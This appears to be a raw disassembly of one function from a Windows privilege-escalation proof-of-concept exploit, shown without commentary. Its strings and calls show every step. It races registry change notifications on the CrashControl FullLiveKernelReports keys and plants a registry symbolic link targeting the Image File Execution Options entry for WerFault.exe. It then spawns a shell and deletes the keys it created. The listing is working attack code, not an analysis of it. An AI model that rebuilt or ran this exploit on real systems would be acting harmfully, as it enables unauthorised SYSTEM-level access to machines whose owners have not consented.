Function at 0x140001b80
Capabilities:
Create thread
Delete registry key
Terminate thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r15
lea rbp, [rsp - 0x520]
sub rsp, 0x620
mov rax, qword [0x140023008]
xor rax, rsp
mov qword [rbp + 0x510], rax
xor r15d, r15d
lea rdx, str.REGISTRYMACHINESystemCurrentControlSetControlCrashControl
xorps xmm0, xmm0
mov qword [rbp - 0x68], r15
xorps xmm1, xmm1
mov qword [rsp + 0x60], r15
lea rcx, [rbp - 0x20]
mov qword [rsp + 0x58], r15
mov edi, r15d
mov qword [rsp + 0x50], r15
mov ebx, r15d
mov dword [rbp - 0x50], r15d
movups xmmword [rbp - 0x10], xmm0
mov dword [rsp + 0x6c], r15d
mov dword [rbp - 0x7c], r15d
movups xmmword [rbp], xmm0
mov dword [rbp - 0x38], r15d
movups xmmword [rbp - 0x20], xmm1
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rbp - 0x20]
mov dword [rsp + 0x68], 0x30
xorps xmm0, xmm0
mov qword [rsp + 0x78], rax
xor edx, edx
mov qword [rsp + 0x70], r15
mov r8d, 0x208
mov dword [rbp - 0x80], 0x40
lea rcx, [rbp + 0xf0]
movdqu xmmword [rbp - 0x78], xmm0
call fcn.140003770
xorps xmm0, xmm0
lea rax, str.REGISTRYMACHINESOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_OptionsWerFault.exe
movups xmmword [rbp - 0x48], xmm0
lea rcx, [rbp + 0x10]
xor edx, edx
lea rcx, [rcx + 0x80]
xorps xmm1, xmm1
movups xmmword [rbp - 0x60], xmm0
mov r8d, 0x208
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rbp - 0x30], xmm1
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax]
movups xmmword [rcx - 0x20], xmm0
movups xmm0, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm0
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rcx], xmm1
movups xmm1, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm1
movups xmm1, xmmword [rax + 0x40]
movzx eax, word [rax + 0x50]
movups xmmword [rcx + 0x30], xmm0
movups xmmword [rcx + 0x40], xmm1
mov word [rcx + 0x50], ax
lea rcx, [rbp + 0x300]
call fcn.140003770
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x300]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, str..lock
lea rcx, [rbp + 0x300]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r8, [rsp + 0x68]
mov edx, 0x20019
lea rcx, [rsp + 0x58]
call qword [0x140024cc8]
test eax, eax
jns 0x140001d33
mov edx, eax
lea rcx, str.Error_opening_the_crash_control_key___status_:_0x_0.8X
call fcn.140001020
lea eax, [r15 + 1]
jmp 0x140002439
xor r9d, r9d
mov qword [rsp + 0x640], rsi
xor r8d, r8d
mov qword [rsp + 0x648], r14
xor ecx, ecx
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov rcx, qword [rsp + 0x58]
xor r9d, r9d
mov byte [rsp + 0x48], 1
mov r14, rax
mov dword [rsp + 0x40], r15d
lea rax, [rbp - 0x10]
mov qword [rsp + 0x38], r15
mov rdx, r14
mov byte [rsp + 0x30], 1
xor r8d, r8d
mov dword [rsp + 0x28], 0x10000001
mov qword [rsp + 0x20], rax
call qword [0x140024cc0]
cmp eax, 0x103
je 0x140001da4
lea rcx, str.Unable_to_register_key_notification__status_:_0x_0.8X
jmp 0x140002369
mov rdx, qword [rsp + 0x78]
lea rcx, str.Notification_was_set_on__ws_n
mov rdx, qword [rdx + 8]
call fcn.140001020
lea rcx, str.Waiting_for_notification_to_be_triggered._n
call fcn.140001020
lea rax, [rbp - 0x38]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea r8, [0x140001870]
xor edx, edx
mov dword [rsp + 0x20], r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x140001e00
lea rcx, str.Failed_to_create_syscall_thread.
call fcn.140001020
jmp 0x140002370
xor r8d, r8d
mov qword [rbp], rbx
mov r9d, 0xffffffff
mov qword [rbp + 8], r14
lea rdx, [rbp]
lea ecx, [r8 + 2]
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test eax, eax
jne 0x140001e34
lea rcx, str.PoC_failed__step_1_n
call fcn.140001020
jmp 0x140002370
xor edx, edx
mov rcx, rbx
call qword [0x140024cd0]
lea rcx, str.Notification_triggered._n
call fcn.140001020
call fcn.140001970
mov rdi, rax
test rax, rax
jne 0x140001e69
lea rcx, str.Failed_to_create_locking_file.
call fcn.140001020
jmp 0x140002370
lea rcx, str.Lock_file_got_created._n
call fcn.140001020
lea rcx, str.Attempting_to_lock_win32kbase_error_key..._n
call fcn.140001020
lea rcx, [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [rbp - 0x40]
movzx edx, word [rbp - 0x42]
movzx eax, word [rbp - 0x3e]
movzx r9d, word [rbp - 0x46]
movzx r8d, word [rbp - 0x48]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], ecx
lea rcx, [rbp + 0xf0]
mov dword [rsp + 0x20], edx
lea rdx, str.FullLiveKernelReportswin32kbase.syswin32kbase.sys__0.4d_0.2d_0.2d__0.2d_0.2d.dmp.lock
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x30]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rax, qword [rsp + 0x58]
xorps xmm0, xmm0
mov qword [rsp + 0x70], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x68], 0x30
mov dword [rbp - 0x80], 0x40
movdqu xmmword [rbp - 0x78], xmm0
nop dword [rax]
lea rax, [rbp - 0x50]
xor r9d, r9d
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x68]
mov dword [rsp + 0x28], r15d
lea rcx, [rsp + 0x50]
mov edx, 0xf003f
mov qword [rsp + 0x20], r15
call qword [0x140024cb0]
cmp eax, 0xc0000034
je 0x140001f00
cmp eax, 0xc000003a
je 0x140001f00
test eax, eax
jns 0x140001f49
lea rcx, str.Failed_to_lock_registry_key__error_:_0x_0.8X
jmp 0x140002369
lea rcx, str.done_with_it._n
call fcn.140001020
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.Waiting_for_the_busy_key_to_be_removed._n
call fcn.140001020
lea rcx, [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [rbp - 0x40]
movzx edx, word [rbp - 0x42]
movzx eax, word [rbp - 0x3e]
movzx r9d, word [rbp - 0x46]
movzx r8d, word [rbp - 0x48]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], ecx
lea rcx, [rbp + 0xf0]
mov dword [rsp + 0x20], edx
lea rdx, str.FullLiveKernelReportswin32kbase.syswin32kbase.sys__0.4d_0.2d_0.2d__0.2d_0.2d.dmpBusy
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x30]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rax, qword [rsp + 0x58]
xorps xmm0, xmm0
mov qword [rsp + 0x70], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x68], 0x30
mov dword [rbp - 0x80], 0x40
movdqu xmmword [rbp - 0x78], xmm0
nop word [rax + rax]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp - 0x50]
xor r9d, r9d
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x68]
mov dword [rsp + 0x28], 2
lea rcx, [rsp + 0x60]
mov edx, 0xf003f
mov qword [rsp + 0x20], r15
call qword [0x140024cb0]
cmp eax, 0xc0000035
je 0x140001ff0
test eax, eax
js 0x140002362
jne 0x140001ff0
mov rdx, qword [rsp + 0x78]
lea rcx, str.Done__succesfully_re_created__ws_n
mov rdx, qword [rdx + 8]
call fcn.140001020
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rsp + 0x50]
mov rdi, r15
call qword [0x140024ce0]
test eax, eax
js 0x140002354
mov rcx, qword [rsp + 0x60]
call qword [0x140024ce0]
test eax, eax
jne 0x140002354
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x50], r15
call qword [sym.imp.ntdll.dll_NtClose]
lea rcx, str.Removed_newly_created_keys._n
mov qword [rsp + 0x60], r15
call fcn.140001020
movzx ecx, word [rbp - 0x40]
movzx edx, word [rbp - 0x42]
movzx eax, word [rbp - 0x3e]
movzx r9d, word [rbp - 0x46]
movzx r8d, word [rbp - 0x48]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], ecx
lea rcx, [rbp + 0xf0]
mov dword [rsp + 0x20], edx
lea rdx, str.FullLiveKernelReportswin32kbase.syswin32kbase.sys__0.4d_0.2d_0.2d__0.2d_0.2d.dmp
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x30]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rax, qword [rsp + 0x58]
lea r8, [rsp + 0x68]
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x50]
lea rax, [rbp - 0x30]
mov dword [rsp + 0x68], 0x30
xorps xmm0, xmm0
mov qword [rsp + 0x78], rax
mov edx, 0xf003f
mov dword [rbp - 0x80], 0x40
movdqu xmmword [rbp - 0x78], xmm0
call qword [0x140024cc8]
test eax, eax
jns 0x140002143
lea rcx, str.Failed_to_delete_target_registry_key__error_:_0x_0.8X
jmp 0x140002369
mov rcx, qword [rsp + 0x50]
call qword [0x140024ce0]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtClose]
mov rdx, qword [rsp + 0x78]
lea rcx, str.Removed__ws_n
mov rdx, qword [rdx + 8]
call fcn.140001020
lea rdx, str.SymbolicLinkValue
mov qword [rsp + 0x50], r15
lea rcx, [rbp - 0x60]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rbp - 0x50]
xor r9d, r9d
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x68]
mov dword [rsp + 0x28], 2
lea rcx, [rsp + 0x50]
mov edx, 0xf003f
mov qword [rsp + 0x20], r15
call qword [0x140024cb0]
test eax, eax
jns 0x1400021c2
lea rcx, str.Failed_to_re_create_target_registry_key__error_:_0x_0.8X
jmp 0x140002369
mov rdx, qword [rsp + 0x78]
lea rcx, str.Re_created_:__ws_n
mov rdx, qword [rdx + 8]
call fcn.140001020
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 0xd0
lea rdx, [rbp - 0x60]
mov r9d, 6
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [0x140024ca8]
test eax, eax
jns 0x140002210
lea rcx, str.Failed_to_set_symbolic_link_value__status_:_0x_0.8X
jmp 0x140002369
mov rdx, qword [rbp - 0x58]
lea rcx, str._ws_was_set._n
call fcn.140001020
lea rax, [rbp - 0x38]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea r8, [0x140001870]
xor edx, edx
mov dword [rsp + 0x20], r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
test rax, rax
jne 0x14000225c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Failed_to_create_second_worker_thread__error_:__d_n
jmp 0x140002369
lea rcx, str.Succesfully_created_second_worker_thread._n
call fcn.140001020
lea rcx, str.Waiting_for_the_target_key_to_be_created._n
call fcn.140001020
lea rdx, [rbp + 0x300]
lea rcx, [rbp - 0x30]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rbp - 0x30]
mov dword [rsp + 0x68], 0x30
xorps xmm0, xmm0
mov qword [rsp + 0x78], rax
movdqu xmmword [rbp - 0x78], xmm0
mov qword [rsp + 0x70], r15
mov dword [rbp - 0x80], 0x40
nop word [rax + rax]
lea rax, [rbp - 0x50]
xor r9d, r9d
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x68]
mov dword [rsp + 0x28], r15d
lea rcx, [rbp - 0x68]
mov edx, 0xf003f
mov qword [rsp + 0x20], r15
call qword [0x140024cb0]
test eax, eax
jne 0x1400022b0
mov rcx, qword [rsp + 0x50]
call qword [0x140024ce0]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [rsp + 0x50], r15
call fcn.140001970
mov edx, 0xffffffff
mov rcx, rsi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.ntdll.dll_NtClose]
lea rcx, str.Attempting_to_spawn_shell..._n
call fcn.140001020
call fcn.140001760
test eax, eax
je 0x14000233b
lea rcx, str.Failed_to_spawn_shell._n
call fcn.140001020
jmp 0x140002370
lea rcx, str.Shell_shouldve_been_spawned._n
call fcn.140001020
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002370
lea rcx, str.Failed_to_cleanup_the_registry._n
call fcn.140001020
jmp 0x140002370
lea rcx, str.Failed_to_re_open__busy__registry_key__error_:_0x_0.8X
mov edx, eax
call fcn.140001020
mov rcx, qword [rbp - 0x68]
mov rsi, qword [rsp + 0x640]
test rcx, rcx
je 0x140002391
call qword [0x140024ce0]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.ntdll.dll_NtClose]
test rdi, rdi
je 0x14000239f
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, r14
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rsp + 0x58]
mov r14, qword [rsp + 0x648]
test rcx, rcx
je 0x1400023c0
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x1400023db
call qword [0x140024ce0]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x1400023f6
call qword [0x140024ce0]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ntdll.dll_NtClose]
test rbx, rbx
je 0x14000240f
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.ntdll.dll_NtClose]
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_OptionsWerFault.exe
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
lea rdx, str.SystemCurrentControlSetControlCrashControlFullLiveKernelReports
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
xor eax, eax
mov rcx, qword [rbp + 0x510]
xor rcx, rsp
call fcn.140002470
mov rbx, qword [rsp + 0x650]
add rsp, 0x620
pop r15
pop rdi
pop rbp
ret